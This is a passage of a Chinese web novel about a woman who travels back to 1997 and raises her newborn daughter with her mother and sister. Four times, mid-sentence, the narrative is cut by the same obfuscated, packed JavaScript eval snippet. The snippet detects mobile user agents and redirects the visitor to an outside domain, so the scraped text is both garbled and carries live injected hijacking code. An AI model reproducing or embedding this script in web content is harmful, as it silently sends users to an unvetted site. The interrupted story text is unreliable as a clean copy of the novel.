没想到早一步过去的妈妈却破天荒地跟杜涓吵了起来,他加入战场,却也被她几句话说得落荒而逃。 扶着妈妈离开病房前,他回头看了她一眼,还是清丽的容貌,眼神中却多了锋芒。 他心中升起一种奇异的感觉,觉得她变了,仿佛跟小辣椒融为了一体,他的胜负欲让他想再征服她一次。 他不想离婚了,妈妈却又表示反对。 “儿子啊,你俩在一块,只有她摆弄你的份儿,你落不着好啊!” 张强用杜涓曾经跟他说过的话反驳自己的妈妈:“妈,你太物质了,我们结婚是因为爱情!” 张强妈看着自己侃侃而谈“爱情”的傻儿子,摇了摇头放弃劝说。 还爱情呢,等喝西北风的时候,你就知道爱情不能当饭吃! 杜涓还不知道张强那空无一物的脑子里竟然也对她产生了“爱情”这种情绪,她最近全身心扑在孩子上。 孩子醒了,她就逗孩子玩儿,跟梁凤至学怎么照料婴儿。孩子睡了,她就如饥似渴地读育儿书籍。 别说,没有网络、手机打扰思绪,读书效率还真的挺高。 梁凤至抱臂看了杜涓半天,她眼睛黏在书上,人都毫无知觉。她又气又笑,把书从杜涓手里抽走:“别看了别看了,歇会儿,坐月子看书伤眼睛,我都跟你说好几遍了!” “坐月子到底干啥不伤身体啊。” 杜涓一边吐槽,一边揉揉眼睛,“妈,你明天再去图书馆给我借几本育儿书呗,家里这些又快要看完了。” 梁凤至拿她没办法,点点头算是同意,“你姐说今晚要过来,你没事帮我摘点豆角呗?” “摘豆角就不伤眼睛了?” 杜涓贫完嘴,看梁凤至拿着书作势要拍她,笑嘻嘻地左躲右闪。 一整个下午天色都昏沉沉的,但是杜鹃河十月初就开始供暖了,屋里并不冷。 杜涓和梁凤至坐在桌边,一边择菜一边聊着天。 小婴儿就睡在饭厅当中梁凤至新买的婴儿车里,安静又稳当。 五点多天就黑了,路灯也次第亮起来。梁凤至忍不住去窗户边往下看:“你姐怎么还没到呢?” “没准又在拖堂,再说了,从那边过来也得二十分钟。” 杜涓的姐姐杜雨在实验中学教政治,平常吃住都在学校里的食堂和教师宿舍解决,隔三岔五回加工厂这片看看妈妈和妹妹。 梁凤至也是随口一说,并没有太担心着急。她探身往窗外看:“下雪了!” 杜涓也走到窗边,确实下雪了,虽还没积起来,但也不小,橙黄色的路灯附近映得最清楚,纷纷扬扬飘飘洒洒的。 1997年的第一场雪。 梁凤至回身看饭厅墙上挂着的日历:“都十月中旬了啊,往年我记得十一假期就下头场雪了。” 嗯,比以往时候来得更晚一些。 杜雨六点钟才到,帽檐上都是细细的冰晶:“我都出门了,王大志非说冷,让我回去换上棉服跟帽子围脖。折腾半天出来,公交车就在我面前过去了,又多等了一趟不说,车还开得贼慢,半道还拐去加了个油!急死我了!” 杜涓感觉突然被塞了一口狗粮:“姐夫真是……真是贴心啊。” “叫啥姐夫,还没转正呢!” 杜雨白了杜涓一眼,一边摘围巾一边踢掉鞋急匆匆地进屋。 其实杜雨和王大志早就谈婚论嫁了,只是因为杜涓今年突然要结婚,他们才把婚期推到了明年。 梁凤至觉得一年收亲戚朋友们两回份子钱不太好,杜雨跟王大志也没什么意见。反正他们感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543822|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情稳定,暂时也不打算要孩子,早一年晚一年结婚,不过是领个证办个酒席的问题。 梁凤至接过杜雨的外套挂好,一回头杜雨已经坐在桌旁抓起了刚做好的炸土豆片。 “洗手!”梁凤至怒吼。 杜雨这才撇着嘴站起来了,被梁凤至看到,又是一通念叨。 “还教小孩思想品德呢,你这品德就不咋地,讲卫生懂不懂?” “好了好了,我知道了,妈你别念了……”杜雨举起刚洗干净的双手做投降状。 然而这并不能打断梁凤至的魔法攻击:“都多大人了,还跟小孩似的,王大志对你那么上心,你都不知道邀请人家来吃个晚饭……” “冤枉啊!”杜雨大叫。 “我叫他来了,结果在学校门口碰见他的学生联系不到家长,他陪着人家找家长去了……” 王大志也在实验中学教书,是新一届初一的班主任。 杜雨小声抱怨:“都上初中了,还得家长来接,要不都不敢回家,现在的小孩啊……” 梁凤至跟杜雨呛呛:“那是人家家长不放心孩子,都像你似的,这世界就完了!” 家长担心小孩跟杜雨跟这世界都有啥关系? 杜涓听不懂这话里的逻辑,但也乐呵呵的看着。杜雨跟梁凤至碰到一起就会立刻口头开战,杜涓作为她们唯一的贵宾席观众,总是笑到肚子上的刀口疼。 吃过饭后,杜雨站在水槽前面刷碗,杜涓就抱着女儿满屋里来回走。小婴儿随着杜涓的步伐摇摇晃晃的,很开心地“啊啊”叫着。 杜雨问:“你给孩子起好名了吗?” 杜涓已经想好了:“叫杜若。” 杜若是楚辞里的香草,寓意高洁,又不难念不难写,杜涓翻了好久书才敲定。 杜雨跟着念了两遍:“挺好听的。你要是单独给孩子上户口有困难,就找你姐夫,他有个同学,正好在公安的□□大厅上班。” 杜涓明白杜雨的意思。 一般新生儿办落户都要父母双方参与。但是在杜鹃河这样的小地方,又是各项规定远远不如二十年后完善的1997年,托关系单独给孩子上个户口,也不是什么难于登天的事情。 “这会儿承认他是我姐夫了?”杜涓不说谢谢,只抓着杜雨话里的小辫子,气得杜雨回身把手上的水都弹杜涓身上了。 “哎哎,别弹你外甥女!”反正水又不太凉,杜涓也不躲,只举起女儿当盾牌抵挡着扑面而来的水珠。 杜雨被杜涓的离谱行为吓了一跳,连忙停止攻击,生怕冰到小婴儿,“有你这样的妈吗!” 夜里交通不便,杜雨就住在杜涓家里,三个人挤一张床。 梁凤至把几个椅子搬到床侧,再铺上厚厚的被褥到和床面平行:“横着睡吧。” 三个人外加一个小婴儿横着睡双人床还是绰绰有余的,梁凤至很快就沉入了梦乡。 小杜若白天睡足了,夜里就精神得很。杜涓喂饱了她,她还裹在小被子里蛄蛹来蛄蛹去的,片刻不老实,闹得杜涓也不敢睡,生怕她闷到自己或者是磕到哪里。 她只能轻轻地拍着女儿,心里无数次祈祷她快点睡着。 黑暗中,杜雨突然叹了一口气。 “养个孩子还是太难了啊。我还记得,你小的时候,爸和妈也是这么成宿成宿地看着你。” 11. 第 11 章 “这也是没办法的事。” 杜涓深以为然地回答。 她也是在穿回来之后才知道,照顾一个新生儿需要耗费两个成年人几乎全部的精力,真的是吃不好睡不好,就怕孩子磕了碰了,或者哪里不舒服。 “哎,虽然我现在再这么说你可能不乐意听,但我当时也这么说,你真是想得太少了。我那时候那么吼你,还把你整哭了,但我现在也不后悔。要是让我回到过去,我还是会说一遍那些话。” 说到杜涓穿来前的“当时”,她可就接不上了,只好“嗯嗯”“对对”地答应着。 幸好杜雨并没在意,只是自顾自地接着说:“但我觉得你现在也长大了,你生了小杜若之后,感觉比以前成熟了不少。我不是说外貌啊,我是说感觉,一种感觉!” 杜涓想,可不是成熟了吗,现在跟你聊天的是一个来自二十年后的灵魂。 还没回答,就听见梁凤至拍了拍杜雨:“大半夜的,吵吵啥呀,让不让人睡了?!” 杜涓连忙说:“马上就睡。孩子还没睡呢,我们姐俩再唠会嗑。” 梁凤至半开玩笑半认真地抱怨:“就你俩这大嗓门啊,我主要说杜雨,这大嗓门,小孩不哭就不错了,她能睡着就怪了!” 杜雨轻咳一声,放轻声音犟嘴:“我这嗓门还大?” “你这嗓门还小?” 梁凤至彻底精神了,坐起身,从杜涓怀里抱过小婴儿,冲姐妹俩说:“都别说话了,我哄孩子,你们俩赶紧睡吧,养养精神,明天还要上班呢……我主要说杜雨!” 杜涓杜雨都扑哧笑了,听梁凤至的话不再出声,像两个小孩儿一样乖乖地并排躺着。 黑暗里传来梁凤至低沉而轻柔的摇篮曲。 “风儿清,月儿明,树叶遮窗棂啊……” 杜涓突然眼睛一热。 她以为自己忘记了,却在听到这熟悉的旋律时记起,在某个遥远的午后,自己好像曾在妈妈的怀里,听着她轻哼过的这首歌,迷迷糊糊地安稳睡去。 那时的妈妈还很年轻,像现在的自己一样。 一家人在诗意的歌声中睡去,在熏天的臭味中醒来。 就算用香草起了名,小杜若当然也还是不会停止制造难闻味道的。 杜涓托着小杜若的上半身,梁凤至用温热的湿毛巾给她擦着屁股。刚刚生产出大量毒气的小婴儿还不知道发生了什么,一脸懵懂地跟杜涓对视。 杜涓又生气又想笑:“你也太老实了,啊?怎么拉了臭臭都不哭一声啊,嗯?” 小杜若眨眨眼睛,对杜涓的话理解不能。 杜雨倚着门看着她们忙活:“她可真像你,你小时候也是这样,受了委屈也不吱声。有一次被大壮他们推进泥坑里……哈哈哈哈!” 杜涓尴尬地笑着,对这一段经历丝毫不能共情。 梁凤至百忙之中白了杜雨一眼:“赶紧整点早饭去!” 杜雨飞速系上围巾挎起包:“我上班要迟到了涓啊我先走了回头找你吃饭啊拜拜啦!” 梁凤至看时间确实不太早了,伸脖子叫杜雨:“你也垫补点什么吃的,要不然坐车晕车!” “知道了知道了!”杜雨一边答应着一边溜了,把大门“哐当”一声甩上。 梁凤至冲杜涓摇头:“她肯定啥也不带吃的。” “她饿了自己就知道吃了。” 其实杜涓也是不吃早饭专业户,最近因为梁凤至的照顾才每天六点钟艰难地爬起来吃饭,吃完还得睡个回笼觉才能清醒。 “你们俩呀,哎!”梁凤至不再絮叨她早已重复过无数遍的吃早餐一事,转而仔细研究起小杜若换下来的脏尿布,“嗯,这颜色,这么稠糊,孩子消化挺好啊!” 杜涓在一旁看着都要忍不住皱眉:“妈,你看这个干啥!” 梁凤至细细地教杜涓:“别小看粑粑芥子,孩子要是不舒服了,她自己也不会表达,从这上面就能看出来。你别斤鼻子!你小时候的我也看过!赶紧学着点,哪天我要是不在家呢……” 和梁凤至实物研究了一早上婴幼儿排泄物,杜涓觉得比看三本育儿书都涨知识,推开窗户的时候感觉神清气爽,外面的空气都变得好闻了不少。 虽然杜鹃河无污染的空气本来就挺清新的。 还没深呼吸一个来回,梁凤至就吼道:“别开窗户!外面那么冷!月子里不能吹风!” “什么都不能做的月子里啊……” 杜涓缩回头,把窗户关上,听见有人砰砰砰敲门。 梁凤至嘀咕着“大早上的谁呀”过去开门,打开门就愣住了,“丽丽?什么时候回来的?” “姨,杜涓在家吗?” 杜涓探头过去,很快就认出了门外的人:“丽丽!” 她上辈子对刘丽丽印象最深刻的地方就是她老涂着大红色的口红,妈妈总是在她做客结束离开后念叨:“丽丽可真不像话,那嘴唇涂的,是刚吃了小孩儿吗?” 那时候她也是小孩儿,傻乎乎地以为涂了大红色口红的人真吃过小孩儿,所以对刘丽丽总有点……敬畏。 此刻站在门口的正是嘴唇大红色的刘丽丽,她头发烫得比方便面还卷,一副墨镜当作发卡随意地架在头顶,十足的千禧年时髦女性。 “嗨!杜涓!”她伸出右手来招了招,像是在叫出租车。 “……快进来快进来,你怎么来了?”杜涓毫无准备,摸了摸自己从穿过来之后就被勒令不让洗的头发,还有衣摆处有一块不明污渍的棉睡衣,十分真心地说:“看我也没做见人的准备,你别笑话啊。” 梁凤至也搭茬:“吃过早饭了吗?我们这儿正煮着粥呢,我再去买点儿豆浆大果子……” “不用了不用了姨,我吃过了。”刘丽丽换上拖鞋进来,又提起刚才放在鞋柜上的一大堆东西:“喏,进口的奶粉,纸尿裤,都是我特意从北京背回来的!” “丽丽你太客气了,这我怎么好意思收呢?”杜涓赶紧道谢,好几大罐铁罐的奶粉,上面都是英文字母,放到二十年后也很贵重。 “别跟我假模假式的!”丽丽看梁凤至跟她点头示意后回身进了厨房,人也变得活泛起来,“来,让我看看你姑娘。” “快进屋吧。”杜涓把刘丽丽让到卧室的床边坐下,把床头柜上放着的橘子和散装饼干一股脑塞给她:“我妈不让我吃饼干,这是她平常吃的,你别嫌弃。” “……好好好。”刘丽丽接过吃的又放回床头,探身去看小婴儿,“这就是小杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543823|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若吧?长得真好看!眼睫毛好长啊!” 杜涓在信里也写了女儿的名字。 但对于睫毛长这事……杜涓伤感地摸了摸哺乳期快要掉光了的睫毛,不得不承认:“……随她爸。” “嗨,不提了。”刘丽丽回身正面对着杜涓,双手握住她的手:“说说吧?最近过得怎么样?话说这还是你第一次在信里跟我说你家里的事儿呢!” 杜涓:…… 她用心模仿了原身的笔迹和文风,却没想到在内容上踩雷了! 刘丽丽看杜涓低头不语,还以为她是在不好意思:“你别害羞,我虽然一直都只跟你讨论文学相关的事情,但也不代表不愿意听你说说心里话呀!” 杜涓想,原来曾经的她和刘丽丽竟然是纯粹的笔友关系。 而杜涓不知道的是,刘丽丽早在和她高中同班的那一年里就注意到了这个沉默而好像总带着点幽怨的姑娘。 刘丽丽有心跟她搭话,而她却从来不肯敞开心门,她们的话题几年来都在阳春白雪的诗词歌赋上徘徊着。 所以这次收到杜涓谈论自己近况的信,刘丽丽不知道有多高兴,正好有一段空闲时间,就果断地飞回来了。 杜涓不知道刘丽丽对她的情况知道多少,就试探着说:“你知道我结婚了吧?” “你还好意思提这个!要不是高阳有一次见到我的时候跟我提了一句,我真是一点儿也不知道!你结婚怎么都不告诉我?” 杜涓没想到,曾经的她竟然连结婚都没有邀请这位唯一的朋友。 她越来越不能理解妈妈的行事,但现在不是仔细思考这些问题的时候,只能把结婚后发生的事——主要是她穿来之后发生的事,挑着跟刘丽丽说了些。 刘丽丽听完,不假思索地说:“杜涓,你变了。” 杜涓:……怎么一个两个的都这么说她? 好吧,她确实变了。不能与曾经的杜涓共感,甚至每个选择都有意无意地与她背道而驰。 “记得上高中的时候,有段时间咱们班有个男生天天往你桌子膛里塞情书,我好几回都看见你放学之后趴在桌子上哭,但是你从来都没有正面拒绝过他。” 好吧,杜涓不能理解的行为又添一笔。 刘丽丽仿佛沉浸在回忆里,半天才回过神来:“现在你这样,我更为你高兴了。我好像没跟你说过吧,我在首都一家旅行杂志社当采风记者。我也是出去了之后,才知道这世界原来这么大的。” 杜涓听刘丽丽充满激情地讲着她在明亮宽敞大楼里的工作,她四处出差攒下的各种各样登机牌,和她在地下室里租住的小小蜗居,加班到深夜后在天桥上望着仍然车水马龙的马路。 她有点走神,想起了上辈子自己的工作和生活,其实和刘丽丽差不多,那是一种没有归属感的自由。 刘丽丽意犹未尽地说完,邀请她:“去外面看看吧?外面机会多的是,你不用担心自己的学历,实在不行就现在念大学也不晚!” 杜涓看着窗外还未散尽的空茫而湿润的晨雾,厨房里梁凤至打开了煤气灶,然后是“嗞啦”一声,热油爆香的葱姜蒜味道几乎是立刻就飘到了卧室里。 “不了丽丽,我想我还是先在杜鹃河活明白再说吧。” 12. 第 12 章 刘丽丽来去一阵风,只有她的香水味在不通风的房间里久久不散。 杜涓斜靠在床头,捧着瓷碗吃奶粉泡早餐饼干。 饼干被泡得疏松柔软,一抿就一股奶香化在嘴里。 但杜涓吃得心不在焉。 在你面前大说大笑的人,你却一直想着她的寿命还剩七年,这种感觉实在是令人提不起劲。 然而上辈子的自己那时实在太小,那些听不懂的话最终也没有形成什么记忆,无论如何都想不起来。 “窝吃窝拉。” 忙着扫完地又擦窗台的梁凤至路过并留下感叹,最后还是认命地伸手,“要不要再来点?” “吃饱了,谢谢妈妈。” 杜涓笑得眉眼弯弯,把空了的白瓷碗和凹刻着梅花图案的不锈钢勺双手奉上。 “小讨债鬼。” “妈妈妈妈,想吃黄桃罐头~” 二十四岁正是嘴馋的年纪,撒娇这门课程,杜涓也可以无师自通。 杜涓趴在窗台上,发现远处南山上的松林被雪染白的时候,日历翻到了十一月。 终于可以痛快洗澡了! 她被梁凤至用一条巨大围巾裹得只露出一双漂亮眼睛。床头坐着抱着小杜若的杜雨,正举着杜若的小手和杜涓挥挥:“妈妈再见~姥姥再见!” “别给孩子拽疼了,一会又哭!”梁凤至嫌弃地弯腰换鞋。 杜涓鬼使神差地回身戳戳杜若的小脸。 “宝宝再见!” 这下连杜雨也露出嫌弃脸了。 出门没一会又下起了小雪。杜涓眯着眼睛,只能看清自己因为太久没洗而打绺的两绺刘海儿。梁凤至倒是不断地跟熟人打招呼。 “他张婶!对,上澡堂子!” “你家小王又值班啊?” …… 尽管知道不会有人在意她的满面油光,杜涓还是觉得偶像包袱好重,去澡堂子的路好长。 走着走着回忆渐次涌上心头,上辈子妈妈也是这样一手拎着洗澡用的小筐,一手拽着她,走在这条路上。 她甚至还能想起那是每个周六的上午。洗完澡,她就要去学剑桥少儿英语,所以每次都很匆忙。 掀开加工厂浴池的门帘,潮湿的热气扑面而来。 “47号。” “梁婶,这还用说吗,我都记得门儿清呢!” 收银员把打了一半的毛衣放在一旁,回身从身后打满储物格的墙上精准找到47号,拿出两双塑料拖鞋,又从柜台下面拿出两根绑着数字号码牌和小钥匙的电话绳,一起交给梁凤至。 “都是中间的格,放东西方便。小孩咋没领来呢?” “太小了,怕出来让风吹凉着了。她姐在家看着呢。”梁凤至坐在换鞋凳上换鞋,一边答应着。 “梁婶这鞋真结实,牛皮的吧?” 收银员接过梁凤至的鞋。 杜涓迟疑了一下,才把脱下来的鞋子也递给收银员。 “哪有啊,就是革的,小雨给买的,哈哈哈……” 杜涓默默撩起印着大大“女”字的布帘子进去,立刻被更高浓度的水汽和满眼白花花的赤裸身体震惊一小下。 明明曾经是从小到大的日常,现在竟然完全无法习惯。 梁凤至麻利地把身上的棉衣、毛马甲、绒衣、秋衣……一件件脱下,“你愣啥神呢?” “妈,我觉得还是应该在家装一个淋浴间。” 梁凤至用眼神表达“开什么玩笑”,伸手把杜涓头上的围巾拽下来,“你不热吗,我看着你都热!” 洗发水是小袋的,杜涓又黑又密的长发要两袋才能勉强洗干净……也洗不干净。实在是太久没有好好洗头了,坐月子期间每次洗脸的时候她都想把头按进水盆,然而每次都被梁凤至及时发现并制止。 她皱着眉撕开第三袋洗发水,湿着的手打滑,怎么也撕不开。 梁凤至把自己没用完的一袋全都挤在杜涓头上,“我的还剩点。” 然而最终还是死活撕开了第三袋。 搓澡的时候杜涓感觉自己像一条砧板上的鱼。搓澡的阿姨手起刀落,她就忍不住惨叫。 “轻点儿……” 阿姨嬉笑着说:“挺出货啊,感觉能瘦二斤。” 杜涓强忍住遮住自己某些部位的欲望,躺得像一具人物标本。 “来,侧过来,搓搓后面。” 她悄悄睁开紧闭的眼睛,看见自己小腹上好长一道疤。 “洗完了,我先出去了。” 梁凤至虽然不知道为什么杜涓洗个澡洗得突然闷闷不乐,还是摆摆手示意听到了。 “捂严实了,换鞋凳等妈。” “哎。”杜涓低声应着,趿拉着拖鞋走到储物间,用手腕上绑着的号码牌弄开储物柜的门,把自己的衣服用两根手指捏出来,慢吞吞穿着。 储物间中间放着的大矮凳上汪着水和泡沫,虽然很快就被负责清理打扫的人擦干净了,她还是不想坐。 地面上被进进出出的人踩得脏兮兮,她穿长裤的时候单脚跳着,努力不让裤子拖到地上。 明明是刚洗过的衣服,从浴室里出来,也觉得有种混杂着潮气和不知该如何形容的气味。 杜涓垂着眼睛穿戴整齐,没有吹风机,只能把湿漉漉的头发尽量擦干后盘在头顶,再用帽子和围巾包严了。 掀起帘子出门,就碰上了那位大学生邻居。 “您好,我要一个单间。” “五张票……不是加工厂的啊,那五块钱。” “好嘞!” 收银员目送谢广乾消失在2写着“男”的布帘后,才抬起眼对杜涓,或者对空气中的某个点嘀咕:“真讲究!我这的拖鞋不是专用的啊,就愿意自己拎来拎去的。” 杜涓尴尬而不失礼貌地微笑了一下,把号码牌递给收银员。 心里想着,拖鞋可以凑合,但是下次一定也要洗单间! 就着斜吊在收银台上空的电视机看了大半集《天龙八部》,梁凤至才姗姗来迟。 “洗一半才发现旁边是你张姨,唠了两句。”她有点不好意思地解释。 “唠了好长的两句啊。” 杜涓站起身,肩头毫不意外地挨了梁凤至轻轻的一拍。 “姑娘,婶走了啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549403|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行!梁婶我给你撕两张票哈!” 什么撕票,杜涓缩了缩脖子。 然后又挨一拍:“没有礼貌,都不跟人打招呼。” 怎么穿越回来,还是会在二十四岁的时候被念叨这些啊! 回家的路上雪停了,天空很蓝,阳光明媚,然而吸入的空气还是干燥而寒冷。杜涓吐口气,面前就一团白雾。 杜涓不再用刘海遮挡视线,像个观光客一样新奇地打量着道路两侧的景色。 和记忆中相比,好像并没有多大的改变。然而她的记忆也不靠谱,因为自从高中住校以后,她就很少回加工厂这片了。 上辈子上大学的时候疯狂地想家,然而“家”好像变成一个符号。一想到她想念的“家”里还有爸妈存在,她就本能地抗拒。 她竟然再也没有见过家乡的春天、夏天和秋天。 然而此刻终于回到这片魂牵梦萦的土地,她却迟迟难以习惯。 过于干燥的空气,扬尘的沙土路,还有刚才人群拥挤的澡堂。 她对杜鹃河的爱,像叶公好龙。 梁凤至的心里没有那么多伤春悲秋,“快到平房了,我去拿点针头线脑啥的。” 杜涓呆呆应“是”,才发现面前就是平房,上辈子的姥姥家。 上辈子的这片平房一直都没有棚户区改造,姥姥也终老都住在这里。姥姥弥留之际,那时的杜涓做好万全准备,一定要把这座平房的继承权拿到手。 没想到杜雨根本就没有跟她争。 再后来,这里终于棚户区改造,换来了三室一厅的大房子,杜涓一家住了进去。 说是一家,但是那时候张强根本不怎么回家,已经在外读书、工作的张晓风更是每次回家,都要打开淘宝地址看看自己家是几号楼几单元。 偌大而空旷的房子,只有杜涓一个人在住。 房子不大,不到五十平的一屋一厨,胜在房前房后各有一片小院。梁凤至说是进去取东西,然而看见被邻居家大狗拱得歪七扭八的柴堆,就忍不住撂下手里的澡筐,去把柴堆垛齐,还不忘回头嘱咐杜涓:“你先进屋,看让风扑了。” 杜涓信步走过冷锅冷灶,穿到后面的起居室里。铺着革制炕席的大炕上只有一层薄薄的灰尘,折叠桌立在墙边,脚踏缝纫机上整整齐齐罩着蕾丝边白布。 房子的采光并不好,白天也昏昏暗暗,杜涓走到窗边,低矮的栅栏圈着一片小小菜地,因为是冬天,罩着菜畦的塑料布上都积着雪。 梁凤至进屋的时候,就看见杜涓呆呆地望着窗外。她觉得好笑,她的这个女儿,从前沉默忧郁,还有些文绉绉的书卷气,生下小杜若之后,又添了发呆的爱好。 “难不成真有一孕傻三年这说?”梁凤至嘀咕着上前,手伸到杜涓眼前挥挥,“看着啥了,看得这么入迷?” “我看见了学校。” 梁凤至顺着杜涓的目光往外望,只望见栅栏外好大一片荒地,连棵树都没有,只有几堆水泥管三三两两地堆着,一望能望出去好远。 梁凤至寻思着,之前在医院那个什么心理咨询,可能还得给自家小女儿挂个号。 13. 第 13 章 杜涓当然没有犯病。 最迟不过明后年,这里就要盖起加工厂附属小学的校舍。 上辈子她上中学的时候,加工厂早就已经苟延残喘,但是改名育红小学的加工厂附小,则由于不知哪一位见义勇为的老师而被市里树为标杆。在政策各种倾斜下,教学质量也越来越高,根本不愁生源,甚至姥姥家都成了学区房。 也正因如此,棚户区改造时才能用两间小房换来三室一厅。 张晓风的小学还是在这里念的。偶尔妈妈有事,她就会被姥姥接回家。 那是张晓风童年记忆中比较明亮的一段,出校门几步路就到家,有吃不完的好吃的,还不用挨说。 可惜妈妈有事的频率实在太低,张晓风偶尔求妈妈去姥姥家住,得到的只有“那里离学校太近了,很吵耽误你写作业”这种牵强理由。 再后来……姥姥病了,精力也大不如前,张晓风更是懂事地不再提。 离学校太近了,很吵啊…… 一个想法渐渐冒出来,按也按不下去。杜涓望着梁凤至疑惑的目光,犹豫了一下只是说:“妈妈我们回家吧。” 回到家,杜雨正揉着眼睛从床上坐起来。 梁凤至抄起鸡毛掸子:“叫你看孩子你睡觉!”语气里全是后怕。 杜涓跟在梁凤至身后,只是想了一下小杜若从床上滚下来,或是磕到哪个边边角角的场景,就冷汗直冒。 长出一口气,她才想起来去拦梁凤至:“妈妈没事,你看小杜若不还睡着呢吗?” 小杜若乖乖睡在大床中间,被角还掖得整齐,看来睡着了就一动也没动。 “就是的妈,你看这不没事嘛?”杜雨倒是心大。 梁凤至把鸡毛掸子挂回去:“看你那出!”转身把带回来的大浴巾漂洗一遍,平整挂在阳台,又把回家时顺路买的鸡蛋码进手工折的牛皮纸盒。 “两块三一斤了,什么都涨,就工资不见涨。” 杜涓点菜:“妈妈我想吃柿子炒鸡蛋。” 梁凤至闻言拿出三个西红柿。 杜雨横抱着小杜若,两腿搭在床边上晃荡,感觉就要把沉睡的小杜若给晃醒了。她伸长脖子看厨房:“妈我晚上不在家吃了!王大志找我吃饭!” 梁凤至又把一个西红柿放回去。小杜若被杜雨一嗓子彻底喊醒了,醒来第一件事就是哇哇大哭。 杜涓连忙抱过孩子,轻轻拍着哄着,直到哭声慢慢平息。 杜雨冲妹妹嘿嘿一笑,窜进厨房吃梁凤至正切着的西红柿,惨遭梁凤至打手。 “不知道空腹不能吃柿子吗?” “刚刚知道!” 两个人幼稚地斗嘴,却又都眼尖地注意到杜涓从里面关上了卧室的门。 “我是不是有点太没正形了?” 杜雨迟疑地开口,以为会收获梁凤至像往常一样的一记眼刀,但梁凤至只是垂着头,一刀一刀把西红柿切成不规则的小块。 …… 杜涓只是习惯性关上卧室门,并没察觉外头因此而安静下来。她有点儿疲惫地坐在梁凤至前几天刚刚扛回来的书桌前,从抽屉里拿出那本绿色胶面封皮的日记。 记录停在“一日渐过一日大腹便便,举头望见明月,低头却看不见自己的双足……”后面是彩色插页,印着中央电视台的照片——当然不是那座以某种贴身衣物命名的后现代建筑,而是一座瘦瘦高高的塔,塔下开满樱花。 再后面是大片的空白。 只不过愣了一会儿,左手已经被小杜若的重量压得酸痛,她把本子塞回抽屉,轻轻把小杜若换了个方向。 懵懵懂懂的婴儿看见眼前的妈妈突然角度发生变化,不知道发生了什么,只是瞪圆了眼睛。 杜涓伸出一根手指,轻轻地摸了摸怀里小婴儿还没长出几根的头发。 刚才回家看到杜雨把孩子扔在一边睡觉,她那一瞬间好不容易才压抑住心里腾地燃起的怒火。 那是一种本能。 如果是上辈子的杜涓,她肯定已经跟杜雨吵起来了吧。 就算没有,就算杜雨再大大咧咧,又有多少姐妹情谊在日复一日的生活中被消磨得一干二净呢? 杜涓没有答案。 桌角的台历还停留在昨天,杜涓伸长胳膊撕下这页,泛着灰色的草纸在指腹留下粗糙的触感。 台历只剩薄薄几页,这一年又快过去了。 新年到来的时候,梁凤至在桌角摆上新的台历,“我刚去你单位领的。” 杜涓翻了几页,日期下面印着宜忌事项、家常菜谱,偶尔还穿插几个笑话。 “小明第一次坐飞机,对同伴说‘哇,你看飞机飞得多高,地上的人都像蚂蚁一样小!’他的同伴说‘飞机还没起飞呢,你看到的就是蚂蚁!’” 杜涓嘴角微微抽动。 “抬抬手!”梁凤至挥舞着抹布,“都快过年了,就知道在这坐着嘎嘎乐。” “现在连腊八还没到呢!” 年味确实越来越浓了,主要表现在梁凤至替杜涓从单位拎回来的米面豆油、苹果橘子、爆竹春联……旺旺大礼包…… 杜涓再两耳不闻窗外事,也知道九十年代末期是国营大厂倒闭的高峰期,没想到加工厂发年货竟然这么慷慨。 然而她很快就知道了什么叫做小巫见大巫。小年那天,王大志扛着一台十八寸彩电上门了。 杜雨空着手跟在后面:“我们单位发的!” 杜涓目瞪口呆,梁凤至接受良好:“太好了,省得买了。” 一九九八年一月二十七日,除夕。 四个人围坐在折叠桌前,用新彩电看两个白裙子歌手在春晚深情对唱:“来吧,来吧,相约九八。” “夹菜呀,多吃点。” 对于计划外来客,杜涓一贯沉默,杜雨有所收敛,梁凤至依旧接受良好。 杜涓抬眼看对面她半生不熟的邻居,已经习惯梁凤至隔三岔五投喂的谢广乾一片菠菜嚼了整整三十下,显然还没有习惯加入别人家的年夜饭。 下午梁凤至带着两个女儿去给去世的丈夫烧纸,回来的路上看见了出门扔垃圾的谢广乾,得知他因为明天要值班而不得不一个人留在杜鹃河过年,不由分说地把他拽到自己家。 “过年就得热热闹闹的,冷锅冷灶的像什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 